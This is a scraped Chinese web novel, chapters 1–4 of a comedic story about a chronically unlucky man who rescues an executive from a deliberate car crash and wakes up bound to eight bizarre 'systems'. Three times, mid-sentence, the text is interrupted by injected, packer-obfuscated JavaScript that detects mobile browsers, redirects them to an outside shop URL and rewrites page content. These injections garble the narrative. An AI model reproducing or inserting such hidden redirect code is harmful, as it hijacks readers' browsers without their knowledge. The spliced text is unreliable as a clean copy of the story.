《我靠满身外挂赚了一个亿》 1. 第 1 章 “我现在过去找你,我妈给你打包了一堆吃的。” “运哥,你下个楼呗,我在你家小区门口摔了,走不动道了,快来。” 郝运拿着手机,听完两条语音,不急不缓从电脑桌前站了起来。 走到家里的防盗门边,他深吸了一口气,打开门,一脚即将迈出去前,又堪堪收住。 他打开某手机app,一顿飞快卜算吉凶,得出结论,今天出门适合先迈左脚。 将手机顺手塞回口袋里,郝运特意抬起左脚,稳稳往外一迈—— 右脚瞬间抽筋,左脚不得不一个猛猛往下急踩,人踉跄着了一下,等他站稳,左脚踩在门槛上,右脚扎扎实实已经迈到了门外。 郝运:“……” 有一种不祥的预感。 老式小区的101室,只要走半层楼梯就能到楼下。 郝运下盘很稳,每一步都走得很稳当,他的手扶着已经有些微微掉漆的扶手上。 “小运出门呢?” 对门七十多的李奶奶出门倒垃圾,慢了几秒,只能跟在他身后,放缓了脚步。 郝运问了李奶奶好,一路稳稳当当走到了小区门口。 “运哥,来拿东西,我刚摔了一跤,差点把膝盖骨磕碎了。” 李原曲着一条腿站着,朝着他招手,脚边放着一个大得有点离谱的塑料口袋,里面塞得满满当当,隔老久,郝运就看到了一只杀白的鸡,优雅地伸展着两只白嫩嫩的鸡爪。 “你怎么回事?” 郝运走近,看了一眼李原的腿。 裤子破了个洞,膝盖磕破了皮,血糊淋淋一片。 “我电瓶车坏了,坐公交车过来的,谁知道下车就给站牌磕了一个,这波棱盖呀就磕马路牙子上卡秃噜皮了。” 李原痛过了,也不当回事,耍着嘴皮子,指了一下地上的塑料袋,“我妈和我爸回了一趟我乡下的爷奶家,看到这些纯天然,无污染的食材就走不动道,装了满满一车回来,不止有鸡,还有猪……连猪都杀了,啧啧啧,真是太凶残了,堪比土匪进村,寸草不留。” 郝运指了他的腿,话还没说出口,李原就说:“你拿了东西走,我叫个车去医院处理一下就行。” 他叫的滴滴还有三分钟到达,两人站在路边等车。 老小区门口两侧的店铺,长的开了二十多年,短的也至少开了五六年。 熟悉的店铺,熟悉的脸。 “小运今天出门啦?” 郝运对门102室李奶奶的老伴,张大爷买菜顺带买早饭回来,看到站在路边的郝运,热情地和他打招呼。 郝运和张大爷李奶奶家是二十多年的邻居,两位老人是看着他长大的,比他亲爷奶见他的时间都多。 他小时候没少去对门吃饭。 “我同学给我送东西来。” “哟,是同学啊,怎么不去家里玩,咦,这腿怎么了,摔了?” 张大爷说着,走近两步,郝运看到他好像踩到了什么,突然“哎”一声就一个后仰,一屁股摔坐下去。 老人不能摔。 郝运一个箭步冲上前,伸手就是一个托背。 站在一旁的李原目睹全程,肉眼慢放,顺便在心里默默给眼前的一幕播了一首《my destiny》当BGM—— 张大爷手里拎的袋子直接甩飞出去一个,在空中划过一条高高的抛物线。 恰在此时,修长帅气的年轻男人赶到,一伸手来了一个偶像剧经典搂腰抱,将张大爷稳稳接住。 如果被抱的对象不是老头的话,这一幕应该格外浪漫。 李原在心里默默遗憾。 并且可惜自己已经来不及拿出手机,拍下这一幕。 郝运伸手托抱住了张大爷,耳中听到一听“哎呦”,心里某个开关像是被按下了。 来了。 又来了。 他将张大爷扶着站稳。 “哦,哦哟,吓死我了,小运,谢谢你啊,多亏了你。” 张大爷捂着胸口,他心脏放了三个支架,可不经吓,手里剩下的东西掉了一地,也顾不上了。 郝运抬眼,就看到他们对面不远处,站着一个也差不多六七十岁的大爷,正从地上捡起自己断了腿的老花镜。 地上还有刚才从张大爷手里飞出去的抛物线大肉包。 在大爷带着怒意的眼神朝着郝运看过来时,郝运从口袋里掏出了二百块修理费。 瞬间止怒。 “都小心点走路,吓我一大跳,还好是包子,要是别的硬的东西,我头不得砸破了?” 郝运再一次道歉。 作为高中同学,多年好友,李原已经习惯了郝运时不时的离谱倒霉事,见200块解决了,替人松了一口气。 郝运却没有放松下来,他一个活了23岁,但是倒霉了24年,从娘胎里就开始走背运的资深倒霉人士,他在“接下来要有坏事发生”的预感上,从未出错。 被肉包砸头的大爷放好钱,突然急着低头往地上找。 “我的核桃,我的核桃呢?” 那可是他盘了八年多的大宝贝啊。 郝运闻声,跟着低头,准备帮着大爷找他的时尚单品……有一颗掉在人行道的边沿上,还有一颗…… 一辆汽车驶过,像是压到了什么东西,发出并不算响亮的“嘣”的一声。 在那一瞬间,郝运感觉自己全身上下的汗毛都竖了起来,他在眼睛看清楚情况之前,先就往旁边一躲。 嗖。 一道气流擦着郝运的脖子过去。 就像是子弹一样。 郝运想着,耳朵里听到马路另一边的商铺,发出砰地一声玻璃碎裂的声响。 那辆汽车也停了下来。 所有人的视线齐刷刷落向路边小超市莫名被打碎的落地玻璃窗。 郝运伸手摸着自己的脖子……差点,他可能就死了。 玻璃碎片里,大爷的另一颗核桃就静静躺在那里,它滚到了马路上,被汽车轮胎轧到了一点,弹射起飞。 就像子弹一样。 “……我去!” 李原在旁边都吓呆了,他的滴滴到了,都顾不上走,司机也不生气,跟着一起探头在那里看热闹。 小超市的老板走了出来,是一个五十多岁的阿姨,看着一地碎玻璃手足无措。 简直是无妄之灾,这一大块玻璃可不少钱呢。 郝运看看玻璃,又看看老板娘,心想,果然出门的时候迈错了脚,他今天注定要破财了。 老板娘他认识,都是老邻居,老夫妻两个人都很好,可惜唯一的儿子是个烂赌鬼,儿媳妇癌症,还有个孙女才上小学。 这一家子,全靠这家超市过活,日子过得很辛苦。 今天这种意外,很难揪着谁出来赔偿,最后可能就店老板自认倒霉。 郝运倒是能从这件事里抽身,但是他的良心不允许。 这整个“意外”,和别人无关,但他可真的半点不无辜。 那辆轧到核桃的汽车车门打开,驾驶员走了下来,他先看了车轮胎,又去看了碎裂的玻璃,很干脆转了两千块钱给老板娘,又留了电话,加了微信,后续多不退少补。 李原瘸着腿跳到郝运身边,一起看热闹。 “你今天运气挺好啊。” 那玻璃一碎,李原都觉得郝运这下又要破财了。 郝运看了一眼李原的伤腿,说:“对不起了。” 李原低头:“……没关系。” 他是这连锁倒霉里的第一环。 整一场意外结束,看热闹的也准备散了,李原和郝运挥了下手,准备和滴滴司机一起上车。 时间不早不晚,也不是早上上班的时间点,小区前路边进出的车不算多,也没有人过多关注。 直到一辆黑色的轿车,开得格外地快,带着引擎的轰鸣声驶近。 “开这么快,赶着投胎去啊。” 李原和滴滴司机吐槽了一句。 老小区前的马路并不宽敞,正当路人闻声看去,都在皱眉,生怕这车撞了人,就见这车疯了一样,一下子就奔着停在路边的汽车撞了上去。 加速撞击。 砰! 没有人来得及反应,巨大的撞击声,让离得近的下意识护住头脸下蹲。 郝运看到被撞的那车,一直被顶到了路边的护栏上,车身都凹陷变形了。 还好那位开车的司机没在车上,不然真危险了。 “虞总!” 那位司机对着汽车惊叫了一声,人就往前冲去。 而撞车的那一辆“飞车“”,开始倒车,倒得飞快,看样子像是要逃蹿。 郝运的反应很快,意识到车上还有人后,紧跟着那位司机一起跑上前,准备去帮着救人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375001|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而他的眼神也飞快瞥向了肇事车的车牌号。 眼见着那车子也不调头,瞬间倒出去几十米……郝运心头一跳,这车无论要往前跑,还有调头跑,都没必要拉开这么长的距离。 对方不会是想…… 肇事车如他猜测的那般,倒车,油门踩死,进行了第二次撞击。 这不是意外事故,这是谋杀! 郝运和司机还没跑到车前,第二次撞击就发生了。 砰! 砰砰! 肇事车直到撞完第三次,看到被撞的车子完全变形,才嚣张地扬长而去。 这一切只发生在短短的半分钟内,有吓呆的路人才反应过来拨报警电话,但是警察再快赶来也需要时间。 郝运和司机在那撞车的汽车走后,才能上前。 被撞的汽车后排车门已经完全变形,另一边则和路边的护栏卡死。 郝运只好和司机绕到路上那一侧,去拉车门。 汽车的玻璃全碎了,郝运一眼看去,一个穿着西装的男人歪在那里,头脸上有血,没有声息。 “虞总!虞总!” 司机边喊边拉车门,车门也不知道是哪里卡住了,开了一条缝,但就是拉不开。 眼看着司机脖子上青筋都冒了出来,那车门还是纹丝不动,郝运伸手按住对方肩膀:“别急,这种撞击伤,你开了车门也不能轻易搬动伤者,不然可能会造成二次伤害,等救护车……靠!” 他眼角余光扫到地面,汽车油箱漏油了。 漏油就可能着火,着火了就可能发生爆炸。 一般来说,事情不会那么倒霉,但,他是郝运啊。 郝运冲着向他们这边走近想要看热闹的李原大吼一声:“快跑!” 多年默契,李原几乎没有半秒犹豫,一拉身边几个大爷,扭头就跑。 其他不明所以的人被他的恐慌情绪感染,莫名其妙也跟着全都跑了起来。 而郝运一把拉开司机,伸手在对方肩膀上一撑,人已经丝滑跳入车中。 司机都看懵了。 车里弥漫着血腥味,郝运忍住不适,对着车门猛踹。 车门开了,郝运和司机一起把那位昏迷的虞总拖了出来。 “快走快走,车子漏油了。” 郝运帮着司机把人背到背上,才跑两步,就听到路人发出惊呼声。 郝运听到李原在大喊“运哥小心,快跑”,他回头看了一眼,然后低咒了一声。 果然着火了。 路上来往的汽车显然也发现了这个大危险,不是远远停下,就是加紧离开。 那司机背着人,跑得太急,突然脚崴了一下,差点把那位虞总摔马路上。 郝运也顾不上别的,伸手一接,直接将手长脚长,好长一条的虞总一个公主抱。 “快!” 郝运跑到了前面,司机咬牙忍着脚腕上的疼痛跟在后。 远离了着火车辆和马路,郝运才算是松了一口气。 他几步跑到街边店铺的屋檐下,把昏迷的男人平放在地上。 围观群众关心昏迷的人,李原的视线则落在郝运身上。 “运哥你没事吧?” 话才出口,砰一声巨响,着火的汽车爆炸了,惊叫声四起。 终于爆了。 郝运心里等着的那只靴子落了地,心里刚浮起一个念头,今天好像没有预计中的倒霉—— 啪。 店铺招牌上方一块本就松动的外墙条砖被爆炸震了下来,正中郝运头顶。 郝运:……对味了。 在李原陡然瞪大眼睛的表情里,郝运应砖倒地,他听到李原叫“运哥”的声音,仿佛隔着遥远的距离,模糊地传入他的耳中,格外不真切,他脑海里另有声音吵得他脑仁疼。 【叮,签到系统绑定成功。】 【叮,系统载入完成,恭喜宿主绑定变美系统。】 【叮,宿主你好,我是完美犯罪系统,我将带你成为全世界最厉害的杀人犯。】 【叮,亲爱的,生子系统在手,一胎99宝,谁都没你能生哦~】 【叮,盲盒系统,值得拥有,来抽一手吗?】 【叮,位面交易系统加载中……】 【叮,厨神系统绑定。】 【叮,吃瓜系统绑定……哇,第一次见有人类被这么多系统绑定的,记录(?)。】 2. 第 2 章 七八个系统在脑袋里“叮叮叮”,正常人都顶不住。 郝运虽然从小到大拿的是“无敌倒霉蛋”这个人设,但他总体来说,还是处在普通的正常人这个范围内。 “够了够了,真的够了。” 他在脑海里大喊。 天降系统,从此走上人生巅峰,那是普通人的剧本。 以郝运23年的人生经验来说,给他多大舞台,他就能闯多大祸,倒多大霉。 系统?人生巅峰? 不,那是代表他倒霉人生更上一个台阶的标志。 不然谁家普通正常人能一下绑七八个系统,绑七八个系统也就算了,还愣是没有一个锦鲤转运系统。 郝运晕了。 不知道是被外墙条砖砸晕的,还是被可预见的未来“美好”生活给吓晕的。 …… “运哥?” “运哥?” “醒了醒了,太好了,睁眼了!” 郝运只动了眼皮子,还没看清眼前场景,耳朵里先听到李原哇啦个不停,但比李原更吵的是他脑袋里的声音。 【太好了,宿主你终于醒了。】 【宿主宿主,我是生子系统,赶紧起来生猴子啦!】 【做人时刻都要美美哒,请宿主及时调整头上纱布,维持形象。】 【确认宿主年龄23岁,已经错过学习厨艺的最佳年纪,若想成为厨神,需加倍努力,从此刻开始,让我们一起加油吧!】 【哇哦,好热闹啊。】 【宿主,起来生猴子。】 【你闭嘴,宿主要学厨艺,我们现在就开始练切墩!】 【你才闭嘴,当厨师有什么好的,又油又腻,又脏又累,还是跟着我学变美,变成绝世大美人我们能当大明星,轻轻松松一天赚的钱都够你这个破系统炒一辈子菜了。】 【啊啊啊啊要生猴子生猴子!生猴子!】 …… 郝运头疼。 一时间他都以为是有个幼儿园在自己脑袋里开学了。 “闭嘴!” 忍无可忍,在自己脑袋炸开前,郝运一声低喝。 病床前的李原委屈:“……啊?” 他也没有太吵太大声啊? 郝运终于看到李原了,顺便看到了他的委屈脸。 “我不是说你。” 李原:“……哦。” 虽然旁边也没其他人,但是他信了。 郝运捏了一下酸涨的眉心,脑袋里安静了,但是他的头疼并没有消失。 手指往上,才摸到纱布,就被李原给一把按住。 “别动别动,你脑袋上缝了八针,不能碰,这几天也别洗头,不能碰水。” 八针。 比郝运预计中的要严重一点,但和小命比起来,这点伤倒也算事不大。 李原那闲不住的小嘴叭叭:“运哥你都昏了大半天了,医生说你就是皮外伤,醒过来没有头晕想吐,不难受的话就可以出院,对了,你的医药费是虞总出的,虞总,就是你从汽车里拖出来那个男人,还记得吧?” 郝运当然记得。 所以他这次竟然没破财? 医生和护士很快过来,问郝运感觉怎么样,又把一堆检查报告都看了一遍,做了几个小检查,然后愉快宣布,可以出院了。 郝运松了一口气。 李原扶着他从病床上起来,他才有时间关心那位虞总。 李原说:“人没事,醒得比你还早,中午就起来了,他那个司机大概是和他说了你救他的事,人还过来看了你一次,只是那会儿你还没醒……别说,那虞总人还挺上道,怪不得年纪轻轻就当了个总。” 虽然郝运的伤也没花掉多少治疗费,但那做法让人觉得心暖暖啊。 李原看他精神不太好,便克制了没再和他吐槽这一次的“死神来了”。 从医院出来,外边已是满天晚霞。 一天就这么过去了。 郝运和李原打了个滴滴回家。 一路上,郝运坐在后排看似在闭目养神,实际是终于有时间把注意力放到了自己脑袋里一脑袋的系统上。 要是有可能,他情愿不要这些系统。 人生,多一个变数,多一份危险。 【宿主你好,我是生子系统。】 【宿主,我是……】 【宿主,我……】 郝运一“出现”,一群系统又激动起来,仿佛鸟窝里刚出生没多久正张大了嘴嗷嗷待哺的小雏鸟。 有点掉san值的场面。 【都闭嘴,排队一个个来。】 系统们可不知道什么叫先来后道,再说了,它们明明是同时绑定的郝运,这也分不清先来后道啊。 作为系统,它们也是第一次遇到这样的情况。 又是一阵七嘴八舌争第一,郝运没辙,在脑海里问:【你们除了能让我听到声音外,可以让我看到吗?有没有那种虚拟形象,或者显示屏之类的?】 【可以。】 【可以的,宿主。】 【当然有。】 …… 随着又一阵叽叽喳喳的声音落下,郝运眼前一花,瞬间视线所及全被占满。 这让他忍不住睁开眼睛,不过也没好上半点。 【都变小点!】 这些系统怎么一个个感觉智商都不高的样子?那么大个,全挤他眼前,他除了变成斗鸡眼能看到什么! 两秒钟后,郝运在眼前恢复清爽后,终于长长出了一口气。 两块光屏,六个巴掌大的小人。 原来一共有8个。 竟然有8个。 是按他脑袋上缝的针算的吗?一针一个? 视线先被一条闪着金光的红色鲤鱼给吸引了,上面坐一个粉雕玉琢的小孩,也穿一身红,头上扎两个小啾啾,看不出性别,正朝着郝运笑,露出几颗白白的小牙。 太喜庆了,就像以前的年画娃娃似的。 察觉到郝运在看它,红鲤鱼嗖一下就在空气里甩了个尾,一个游到郝运面前。 它举手,在鲤鱼上蹦,全身上下写着“我要发言”。 郝运轻咳一声,在脑海里用意识与对方交流:【行,你先说,叫什么,哪来的,我们的绑定怎么解除?】 小人一张笑盈盈的小脸,立即就变成了苦瓜脸。 它发出嘤嘤哭声:【宿主,你讨厌我吗?为什么要解除绑定?我是生子系统,能让你一胎99宝,成为最能生的人啊。】 郝运:【……我是男的。】 再说了,99宝是什么鬼,就算是女人也不能这么生啊,当是鲤鱼甩籽吗? 红鲤鱼背上的小人疑惑:【男人又怎么啦?我看你们这个位面的科技,马上就要突破男人生子的科技壁垒了,更不提在更高维度的位面,生子早就不拘泥于性别。】 这可真是发达呢。 郝运不想去了解这些,不管是以后的地球人,还是现在的外星人,全都能甩籽,他也没兴趣。 他郑重说:【我要解除绑定。】 小人突然不嘤嘤了,一摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375002|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手:【抱歉,本系统一旦绑定,没有解除选项。】 郝运:【……】虽然不合理,但不意外。 眼看宿主被它“说服”,小人伸手从自己的口袋里拿出一颗金红色的“麦丽素”:【宿主宿主,既然你都明白了,那我们赶紧来生猴子吧,你身边的人类就很好,身体强壮,头脑简单,能够繁衍出健康且强壮的后代,这是你的新手礼包,一胎99宝丸,有了它,你便能轻轻松松一举得99子!】 郝运得到这八个系统后,研究出了第一个系统的功能,开静音屏蔽。 终于不用再听那些可怕的话了。 同坐在后排的李原听到他长出一口气,关心看他:“运哥,怎么了,脑袋疼?” “没……”郝运现在听不得这个“孕”字,“以后别叫我运哥。” 李原一脸问号,这都叫了多少年了,今儿突然又不让叫了,什么毛病?脑袋真被砸坏了? 他问:“那我叫你什么?运子?郝哥?还是郝哥哥?” 自己把自己逗开心了,在那里哈哈哈。 郝运实在不想听这一号“身体强壮,头脑简单,适合繁衍后代”的人物叫他好哥哥,翻了个标准的白眼,重新把视线转回几个系统上。 有虚拟形象的系统应该智能程度都比较高,叫人心塞的程度也应该呈正比,不如看看那两个机械死板的光屏。 先看比较花哨的那一个—— 【位面交易系统】 【商城】【我的】 简简单单两大块内容,顺手点进“商城”,6x6格式的图片铺满页面。 吃的、喝的、穿的、用的……就像常见的购物app,乍一眼暂时也没看出来有什么异常的地方。 看名字“位面交易系统”,大概就是连通不同世界的一个购物平台? 这样的系统,有和没有,似乎区别也不大。 要是几个系统都是这样的就省心了。 他就当手机多装了几个app。 郝运的视线瞥了一眼或眼巴巴,或阴沉沉盯着他的六个虚拟小人,又是叹了一口气。 他把视线挪到另一块虚拟光屏上。 【签到系统】 【签到领金币,元气满满,金币满满】 【1金币兑换现世界1元】 【机会只有一次,如宿主断签,本系统将立即解除绑定并消失,无惩罚,且签到期内宿主所得金币无需归还】 【人生哪有那么多的机会,抓不住便是永远失去】 【祝您有一个暴富的人生!】 【今日签到限时倒计时:06:32:17】 郝运看到几行文字下,便是7x53的签到日历,每一格小格子靠上方,都有一个数字,是从“第1天”开始的编号。 最后一排是一个长条的格子,占满一排,写着“第365天”,正好是一年的时间。 他再细一看,除了数字外,格子正中间画着几枚叠在一起的金色硬币,最后一格里,金币下方写着+1亿。 +1亿! 郝运一个弹射坐直,差点把滴滴的车顶篷撞出一个坑。 滴滴司机被他吓得一抖,方向盘都歪了一下,车子划了个小小的S,引得后车猛按喇叭。 “对不起,对不起。” 李原先一步道歉,伸手在空气里飞快拍着,仿佛是在拍司机愤怒的后背。 “运哥你怎么一惊一乍的?” 郝运呆呆坐在那里,看着人好好的,实际魂已经不知道飞去了哪里。 1亿啊! 3. 第 3 章 概括郝运的23年人生,就是小心翼翼地闯了很多祸,省吃俭用地欠了很多债,深思熟虑做了人生所有荒谬的决定。 直到他现在,年入30个,但负债。 要不是每个月找妈妈要饭,接受李原一家投喂,他现在已经饿死在家了。 郝运想赚钱,做梦都想。 所以—— 当有一个亿的项目摆在面前,他是不可能错过的。 就算天上下刀子,就算有人打断他的手脚,他爬也要爬着去。 “我没事,就是突然想起了点事情。” 这是对李原说的。 郝运终于消化完“1亿”这个概念,开始研究怎么签到。 一般手机app的签到,打开页面,点击一下就完成了。 这个签到系统的话……他用意念去点击了一下写着“第1天”的那个格子。 【欢迎来到签到系统】 【今日签到地点:绿洲桥公园】 【今日签到动作:右手兰花指妩媚抚过鬓发】 【今天签到词:性感男蟑螂签到】 郝运:谁家的天能塌了又塌,反复地塌?对,没错,就是他家的。 看着“第1天”下面标的+1金币,他突然也不是很想要这个系统了。 1:1兑换,也不过就是1块钱,他的人生不差这一块。 可,“第365天”是+1亿金币啊! 郝运那眉心都快能夹死苍蝇了,看得不出声的李原想叫滴滴师傅直接调头回医院。 脑袋是人体最精密且复杂的器官,有些伤可能看着没事,实际人已经傻了。 李原犹犹豫豫从车上下来,又犹犹豫豫看着郝运想说点什么。 而郝运终于也研究完了签到系统。 不得不说,这个系统是真简单。 每天到指定地点,摆出指定动作,说出指定签到词,便算签到成功。 签到以七天为一个周期,每天签到得1金币,第七天奖励翻倍,得100金币。 签到一周,才106块钱,真不多。 但,每十周就会解锁一个超级大奖励,从1千开始,每次乘十倍,1千、1万、10万、100万、1000万。 签到“第365天”,直接奖励惊天大奖,1个亿。 香,太香了。 当性感男蟑螂他也愿意。 李原最终犹犹豫豫决定,先让他运哥回家睡一觉,明天起来看看情况,如果还不对劲再去医院应该也不迟。 “……运哥,我说话呢,你怎么又走神,早上我给你带来的东西,寄放在小超市了,记得去拿。” 早上郝运一被砸晕,李原也顾不上把他带来的那一大袋食材拿上楼,还好小超市的老板娘阿姨人好,主动说可以先放他们超市的冰箱里。 “好。” 郝运突然用力一握拳。 李原:“……”就拿个东西,用得着这么郑重,弄得像是要去炸碉堡似的么? 他那膝盖磕了个口子,不方便爬楼,便和郝运挥了手离开。 他本来想叫车的,但远远看到公交车过来,便扣扣搜搜决定省下那几块钱。 公交车被红绿灯拦了一会儿,李原走到马路对面,车离他还有十几米。 他无聊张望,就见马路对面,他家运哥一个右拐,不回家,反而出了小区。 能不出门,绝不出门星人,竟然出门了? 还是在如此倒霉的一天…… 好奇心那是欠欠的小猫爪子,把李原的小心肝当猫抓板,一下一下地挠。 直到公交车吱一声停在他面前。 …… 绿洲桥公园。 这地方离郝运家的小区很近,步行不超过500米。 说是公园,其实就是靠着小区和小河边的一点小绿化。 小河上一架小石桥,不通车,只供行人步行通过。 此时正是傍晚时分,不说人来人往,络绎不绝,也是三三两两不停有人经过。 特别是吃完饭带着孩子出来散步的祖孙组合最多。 也因此,在桥坡下不远处,还有一辆卖点烤肠烤串,臭豆腐萝卜丝饼的小摊车。 郝运一脚踩到绿桥公园的范围后,面前就出现了一个箭头,给他指引方向。 穿过小绿道,最终当他站到绿洲桥中间的最高处时,箭头消失。 接下来便是摆好姿势,说出签到词。 右手兰花指抚鬓角,还得妩媚……郝运试了一下,早上李原给他送的鸡那俩爪子都比他的像兰花…… 他的“鸡爪子”挠头,让他当武松兴许还能成,妩媚,那真是要了命了。 愁眉苦脸ing~ “叔叔,你再想不开也不能跳河呀,妈妈说人淹死了就再也不能吃好吃的了,给你吃棒棒糖,吃了你就能开心点,就不要跳了哦。” 扎着双马尾的可爱小姑娘路过,拽着奶奶停下脚步,如天使般递上自己都不舍得吃的小糖果。 孩子是好孩子,就是容易让人想到一胎99宝。 “……谢谢,你自己吃。” 郝运摸了一下自己脑袋上缠的纱布,很难和一个幼儿园小班年纪的孩子解释自己此时的“人生难处”,孩子奶奶歉意地将孩子拉走,并教育—— “叔叔不是要跳河,叔叔只是在看风景。” 看着双马尾和奶奶走远,郝运只能安慰自己,至少签到系统只是让他说一句“性感男蟑螂”,而不是让他直接在脑袋上扎个双马尾。 兰花指,兰花指。 郝运面朝小河,面无表情,试了又试,鸡爪子终于有了那么点兰花的样子。 然后就是签到词。 “性……性……” 郝运捂脸蹲下。 他显然是小看了自己的节操和下限,就算人生惨淡到负债,它们竟然都还在。 即使在天平的另一端摆上了一个亿,也没能立即把它们都翘飞出地球。 这么要脸,难怪他穷。 “1个亿,1个亿……” 这像是一句什么增加勇气的咒语,被郝运反复颂念。 他重新站起来,抬手抚鬓,烫嘴似的,模糊且飞快的将那几个字囫囵从嘴里吐出去—— “性感男蟑螂签到!” 1秒。 2秒。 3秒。 风在吹,人在走,一切毫无变化。 郝运点开签到系统的光屏面板,上面有一条提示:【声音过轻过快,无法识别,请宿主中气十足并字正腔圆地念出签到词。】 郝运:“……” 这种情况下,骂人应该是被允许的。 郝运看明白了,这个签到系统主打一个将社死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375003|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行到底,不让他用脚趾头抠出三室一厅誓不罢休。 果然,钱难挣,屎难吃。 这道理在哪里都通用。 深吸一口气,郝运决定拼了,人这辈子总要拼次命。 “性感男蟑螂签到!” 果然中气十足,字正腔圆,无需字幕都能听得清清楚楚。 干净清爽的男中音平地拔起,声音悦耳,只是这内容实在抽象。 路人如土拨鼠般齐齐抬头看过来,就差发出久久不歇的罐头笑声。 哗啦啦。 金币入账的音效声在耳边响起。 成功了。 恨不能立即扛起火车即逃出地球的郝运一转身,就见桥下站着快要“现出原形”的李原。 “噗!” 李原一口嚼碎的烤肠喷了个天女散花,赶紧捂嘴,又给自己呛了个昏天暗地,满脸通红。 真是要了命了。 郝运稳步从桥上下来,无师自通学会催眠术—— 他刚才什么也没有说! 顺便被外墙条砖砸过的脑袋,在这一刻,有了选择性失忆的后遗症。 他是谁?他在干什么?他为什么会在这里? 将人生前几秒的时间格式化,郝运下桥,伸手拉了憋红了脸快厥过去的李原就走,边面无表情问:“你怎么还没回去?” 语气里是显而易见的嫌弃。 李原脚下跟着,嘴上解释:“我看公交车来了,就想省几块钱不打车,然后就看到你没回家,从小区出来,我担心你脑袋上的伤,现在的你经不起折腾,就跟过来看看。” 真不是他太八卦。 郝运的眼神落向李原手上的三根烤肠签子,和一个还没吃的萝卜丝饼。 省几块钱? 察觉到他的视线,李原三两口把剩下的萝卜丝饼也塞进了嘴里,解决。 “运哥泥载几里干系么呢?” 他一嘴含糊地问。 又是妖娆的搔首弄姿,又是大喊什么“性感男蟑螂”,怎么看都不像是个正常人。 李原想,难道他家运哥不是被砸傻了,而是被人穿越了?小说里不都这么设定,撞到脑袋晕倒,再一睁眼,这身体里的芯子就已经成了从别的世界来的穿越者。 越想越觉得这就是真相,李原侧首看向郝运的小眼神越发古怪。 他突然问:“运哥,高中那会儿,你发生的最倒霉的事是什么?” 突如其来的被挖黑历史,郝运飞了一个眼刀子过去。 李原却根本不痛不痒的,都一起混多少年了,共处一室拉屎都不关门的交情,还能被一个眼神吓退? 绿道弯弯曲曲,走出十几米,终于避开了路人的视线。 郝运这才松了一口气,感觉自己脸上的火辣感逐渐消退,他本就走得四平八稳的步子更加缓而稳,就算脚底下路面突然陷落,他都能灵敏跳出危险区域。 高中时最倒霉的事? 郝运想了一下,他的人生只有“更”,没有“最”。 “上厕所马桶爆了,淹了整一层楼,走楼梯踩空摔下去,旁边同学收不脚一脚踩脸上,上学差点迟到,跑进学校时撞倒校长,并不小心一膝盖跪到了他□□,害得人被紧急送去医院……你自己选一个第一名吧。” 反正他是选不出来。 以及,再一次对校长说对不起。 4. 第 4 章 这些陈芝麻烂谷子的事情说得半点没错。 就在李原相信这是他运哥本人没错时,他又一拍大腿—— 不对啊,现在的小说,穿越者都能拥有原主的记忆,眼前这个“运哥”能说出这些事,也不代表他就是运哥本人。 李原想了又想,最后终于想到了一个好办法。 他直接开口问:“运哥,你不是被人穿越了吧?” 这个问题,解释了李原为什么突然哪壶不开提哪壶,郝运连眼皮子都没抬一下,说:“我们两个之间真要有人被穿越,那也肯定是你,不是我。” 这不是郝运瞎说,是以他23年的倒霉人生,总结出的倒霉经验。 倒霉也是有规则的,如果他被人穿越了,那他就不再是他,也就不存在他很倒霉这件事情。 所以只可能是,他很倒霉,他最好的好朋友被人穿越了,他失去了朋友。 看,逻辑自洽,完美闭环。 李原被说服了,并进一步发现和眼前人类做朋友是一件多么危险的事情。 “运哥,我妈喊我回家吃饭,我先走了。” 这下也不说省钱了,直接打了个滴滴走。 郝运目送人离开。 别看人现在跑得快,过不了两天,就又拎着吃的喝的,喊着“运哥”来找他。 郝运也不知道自己一个倒霉蛋有什么魅力,值得李原对自己掏心掏肺的好。 还有李原的爸妈也是,简直把他当成亲儿子一样。 郝运走进小区门口的超市,那块被打破的玻璃已经找人换了新。 老板娘阿姨看到郝运,立即关心地看他头:“脑袋没事吧?这好好的,墙上的条砖竟然能掉下来,我在这开了多少年的店,就没遇着过这事,这也不知道归哪个部门管,我得去反映这个情况,太吓人了。” 郝运一说缝了八针,老板娘阿姨又连连惊呼。 她把郝运的东西拿出来给他,又拿了一包红枣塞进口袋:“当零嘴吃,补血……人啊,什么都没有身体健康,平平安安来的重要。” 想到老板娘阿姨家的情况,郝运掏出手机扫码付款。 大忙帮不上,总不能再占这小便宜。 老板娘阿姨连连摆手,想按住他拿手机的手:“不要不要,这是送给你吃的。” 郝运仗着年轻个高,一下就付完了钱。 “谢谢阿姨,我先回去了。” 